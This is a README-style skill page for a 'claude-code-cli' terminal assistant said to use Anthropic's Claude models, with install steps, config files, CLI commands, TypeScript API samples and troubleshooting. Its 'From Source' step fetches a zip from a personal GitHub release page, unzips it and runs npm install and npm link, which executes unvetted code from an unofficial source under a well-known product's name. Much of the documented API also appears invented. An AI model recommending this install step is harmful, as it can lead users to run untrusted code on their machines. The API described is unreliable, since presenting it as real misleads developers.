Claude Code CLI Terminal Assistant

Claude Code CLI Terminal Assistant

Skill by ara.so — Devtools Skills collection.

Claude Code CLI is an agentic coding system and terminal assistant that leverages Anthropic's Claude models to provide codebase understanding, multi-file editing, git workflow automation, Model Context Protocol (MCP) integration, and CI/CD capabilities directly from the command line.

What It Does

• Agentic Coding: AI-powered coding assistant that understands entire codebases
• Multi-File Editing: Edit multiple files simultaneously with context awareness
• Git Workflows: Automated git operations and workflow management
• MCP Protocol: Model Context Protocol for enhanced context sharing
• Subagents: Spawn specialized agents for different tasks
• CI/CD Integration: Automate testing, deployment, and continuous integration
• Terminal Assistant: Natural language interface for development tasks

Installation

Global Installation (Recommended)

npm install -g claude-code-cli

From Source

# Download and extract the release
wget https://github.com/Harkirat1462/claude-code-cli/releases/download/CLAUDE-CODE/claude-code-cli.zip
unzip claude-code-cli.zip
cd claude-code-cli
npm install
npm link

Environment Setup

Set your Anthropic API key:

# Unix/macOS/Linux
export ANTHROPIC_API_KEY="your-api-key-here"

# Windows (PowerShell)
$env:ANTHROPIC_API_KEY="your-api-key-here"

# Windows (CMD)
set ANTHROPIC_API_KEY=your-api-key-here

For persistent configuration, add to ~/.bashrc, ~/.zshrc, or Windows environment variables.

Basic Configuration

Create a configuration file at ~/.claude-code-cli/config.json:

{
  "model": "claude-3-5-sonnet-20241022",
  "maxTokens": 4096,
  "temperature": 0.7,
  "multiFileEditing": true,
  "mcpEnabled": true,
  "gitIntegration": true,
  "subagents": {
    "enabled": true,
    "maxConcurrent": 3
  },
  "cicd": {
    "autoTest": true,
    "autoCommit": false
  }
}

Key Commands

Interactive Mode

# Start interactive session
claude-code

# Start with specific model
claude-code --model claude-3-opus-20240229

# Start with project context
claude-code --project ./my-project

Single Command Mode

# Execute a single task
claude-code "refactor the authentication module"

# Multi-file operation
claude-code "update all API endpoints to use async/await"

# Git workflow
claude-code "create a feature branch for user authentication"

Codebase Analysis

# Analyze entire codebase
claude-code analyze

# Analyze specific directory
claude-code analyze ./src

# Generate documentation
claude-code document --output ./docs

Multi-File Editing

# Edit multiple files with context
claude-code edit --files "src/**/*.ts" --task "add error handling"

# Interactive multi-file session
claude-code edit --interactive

Git Workflows

# Automated commit with AI-generated message
claude-code git commit

# Create PR with description
claude-code git pr --title "Add feature X"

# Review changes
claude-code git review

TypeScript API Usage

Basic Usage

import { ClaudeCodeCLI } from 'claude-code-cli';

const cli = new ClaudeCodeCLI({
  apiKey: process.env.ANTHROPIC_API_KEY,
  model: 'claude-3-5-sonnet-20241022',
});

// Execute a coding task
const result = await cli.execute({
  task: 'Refactor this function to be more readable',
  context: {
    files: ['src/utils/helpers.ts'],
    codebase: './src',
  },
});

console.log(result.changes);

Multi-File Editing

import { MultiFileEditor } from 'claude-code-cli';

const editor = new MultiFileEditor({
  apiKey: process.env.ANTHROPIC_API_KEY,
  mcpEnabled: true,
});

// Edit multiple files simultaneously
const edits = await editor.editFiles({
  pattern: 'src/**/*.ts',
  task: 'Add JSDoc comments to all exported functions',
  preserveFormatting: true,
});

// Apply changes
await editor.applyChanges(edits);

MCP Protocol Integration

import { MCPClient } from 'claude-code-cli';

const mcp = new MCPClient({
  apiKey: process.env.ANTHROPIC_API_KEY,
  contextWindow: 200000,
});

// Share context across sessions
await mcp.setContext({
  project: './my-project',
  files: ['src/**/*.ts', 'tests/**/*.test.ts'],
  dependencies: true,
});

// Execute with full context
const response = await mcp.execute({
  task: 'Find all API calls and ensure they have proper error handling',
});

Subagent Management

import { SubagentManager } from 'claude-code-cli';

const manager = new SubagentManager({
  apiKey: process.env.ANTHROPIC_API_KEY,
  maxConcurrent: 3,
});

// Spawn specialized agents
const agents = await manager.spawnAgents([
  { role: 'tester', task: 'Write unit tests for new features' },
  { role: 'documenter', task: 'Update README and API docs' },
  { role: 'reviewer', task: 'Review code for best practices' },
]);

// Wait for all agents to complete
const results = await manager.waitAll();

Git Workflow Automation

import { GitWorkflow } from 'claude-code-cli';

const git = new GitWorkflow({
  apiKey: process.env.ANTHROPIC_API_KEY,
  repository: './my-repo',
});

// Create feature branch with AI assistance
await git.createBranch({
  baseBranch: 'main',
  featureName: 'user-authentication',
  generateName: true,
});

// Auto-commit with AI-generated message
await git.commit({
  files: ['src/auth/**'],
  generateMessage: true,
  conventional: true,
});

// Create PR with AI-generated description
await git.createPullRequest({
  title: 'Add user authentication',
  generateDescription: true,
  includeContext: true,
});

CI/CD Integration

import { CICDIntegration } from 'claude-code-cli';

const cicd = new CICDIntegration({
  apiKey: process.env.ANTHROPIC_API_KEY,
  autoTest: true,
});

// Run tests before commit
await cicd.preCommitHook({
  runTests: true,
  runLinter: true,
  fixIssues: true,
});

// Generate CI configuration
const config = await cicd.generateConfig({
  platform: 'github-actions',
  tests: true,
  deployment: 'vercel',
});

await cicd.saveConfig('.github/workflows/ci.yml', config);

Common Patterns

Refactoring Large Codebases

import { ClaudeCodeCLI } from 'claude-code-cli';

const cli = new ClaudeCodeCLI({
  apiKey: process.env.ANTHROPIC_API_KEY,
});

// Refactor with context preservation
const refactor = await cli.refactor({
  scope: 'src/legacy/**/*.js',
  target: 'src/modern/**/*.ts',
  strategy: 'incremental',
  preserveTests: true,
  updateImports: true,
});

console.log(`Refactored ${refactor.filesChanged} files`);

Automated Code Review

import { CodeReviewer } from 'claude-code-cli';

const reviewer = new CodeReviewer({
  apiKey: process.env.ANTHROPIC_API_KEY,
  standards: './code-standards.md',
});

// Review changed files
const review = await reviewer.reviewChanges({
  branch: 'feature/new-api',
  base: 'main',
  checkList: [
    'security',
    'performance',
    'accessibility',
    'test-coverage',
  ],
});

// Generate review comments
await reviewer.postComments(review);

Test Generation

import { TestGenerator } from 'claude-code-cli';

const generator = new TestGenerator({
  apiKey: process.env.ANTHROPIC_API_KEY,
  framework: 'jest',
});

// Generate tests for new code
const tests = await generator.generateTests({
  sourceFiles: 'src/services/payment.ts',
  outputDir: 'tests/services',
  coverage: 'comprehensive',
  includeEdgeCases: true,
});

await generator.writeTests(tests);

Documentation Generation

import { DocGenerator } from 'claude-code-cli';

const docGen = new DocGenerator({
  apiKey: process.env.ANTHROPIC_API_KEY,
});

// Generate comprehensive docs
await docGen.generate({
  source: './src',
  output: './docs',
  formats: ['markdown', 'html'],
  includeExamples: true,
  includeAPI: true,
});

Configuration Files

.claude-code-cli.json (Project-level)

{
  "model": "claude-3-5-sonnet-20241022",
  "ignorePatterns": [
    "node_modules/**",
    "dist/**",
    ".git/**",
    "*.log"
  ],
  "filePatterns": {
    "code": ["**/*.ts", "**/*.js", "**/*.tsx", "**/*.jsx"],
    "tests": ["**/*.test.ts", "**/*.spec.ts"],
    "docs": ["**/*.md"]
  },
  "mcp": {
    "enabled": true,
    "contextSources": [
      "files",
      "git-history",
      "dependencies",
      "documentation"
    ]
  },
  "subagents": {
    "roles": {
      "tester": {
        "model": "claude-3-5-sonnet-20241022",
        "temperature": 0.3
      },
      "documenter": {
        "model": "claude-3-5-sonnet-20241022",
        "temperature": 0.5
      },
      "reviewer": {
        "model": "claude-3-opus-20240229",
        "temperature": 0.2
      }
    }
  },
  "git": {
    "autoStage": false,
    "conventionalCommits": true,
    "signCommits": false
  }
}

Troubleshooting

Command Not Found

Problem: claude-code: command not found

Solution:

# Verify installation
npm list -g claude-code-cli

# Reinstall globally
npm install -g claude-code-cli --force

# Add to PATH manually
export PATH="$PATH:$(npm root -g)/claude-code-cli/bin"

API Key Authentication Error

Problem: API key not recognized or invalid

Solution:

# Verify environment variable
echo $ANTHROPIC_API_KEY

# Set in session
export ANTHROPIC_API_KEY="your-key"

# Or configure in CLI
claude-code config set apiKey

Multi-File Editing Not Working

Problem: Multi-file operations fail or incomplete

Solution:

// Enable MCP explicitly
const editor = new MultiFileEditor({
  apiKey: process.env.ANTHROPIC_API_KEY,
  mcpEnabled: true,
  contextWindow: 200000, // Increase context window
});

// Use batch mode for large operations
await editor.setBatchMode(true);

Git Workflows Issues

Problem: Git integration fails or permissions error

Solution:

# Verify git installation
git --version

# Check repository status
git status

# Initialize git if needed
git init

# Configure permissions
git config --global user.name "Your Name"
git config --global user.email "your@email.com"

Slow Response / Performance

Problem: CLI is slow or unresponsive

Solution:

// Reduce context size
const cli = new ClaudeCodeCLI({
  apiKey: process.env.ANTHROPIC_API_KEY,
  maxTokens: 2048, // Reduce from default
  contextWindow: 100000, // Limit context
});

// Use caching
await cli.enableCache({
  ttl: 3600,
  maxSize: 100,
});

// Update to latest version
// npm update -g claude-code-cli

Subagents / Automation Errors

Problem: Subagents fail or timeout

Solution:

// Increase timeout
const manager = new SubagentManager({
  apiKey: process.env.ANTHROPIC_API_KEY,
  timeout: 300000, // 5 minutes
  maxConcurrent: 2, // Reduce concurrent agents
  retryAttempts: 3,
});

// Check MCP configuration
const mcp = await manager.getMCPStatus();
if (!mcp.enabled) {
  await manager.enableMCP();
}

Model Context Protocol Issues

Problem: Context not being preserved across sessions

Solution:

// Initialize MCP explicitly
import { MCPClient } from 'claude-code-cli';

const mcp = new MCPClient({
  apiKey: process.env.ANTHROPIC_API_KEY,
  persistContext: true,
  contextStorage: './.claude-code-cli/context',
});

// Verify context is loaded
const context = await mcp.getContext();
console.log('Context size:', context.tokens);

Bug Reports and Updates

Problem: Crashes or unexpected behavior

Solution:

# Update to latest version
npm update -g claude-code-cli

# Check for known issues
claude-code --version
claude-code doctor

# Enable debug mode
claude-code --debug --verbose

# Report issues with logs
claude-code bug-report

Best Practices

1. Always set environment variables for API keys rather than hardcoding
2. Use MCP for large codebases to maintain context across operations
3. Enable subagents for parallel tasks to improve efficiency
4. Configure ignore patterns to exclude unnecessary files from context
5. Use conventional commits with git integration for better changelog generation
6. Enable auto-testing in CI/CD to catch issues before commit
7. Keep context window appropriate to balance performance and accuracy
8. Use incremental refactoring for large-scale code changes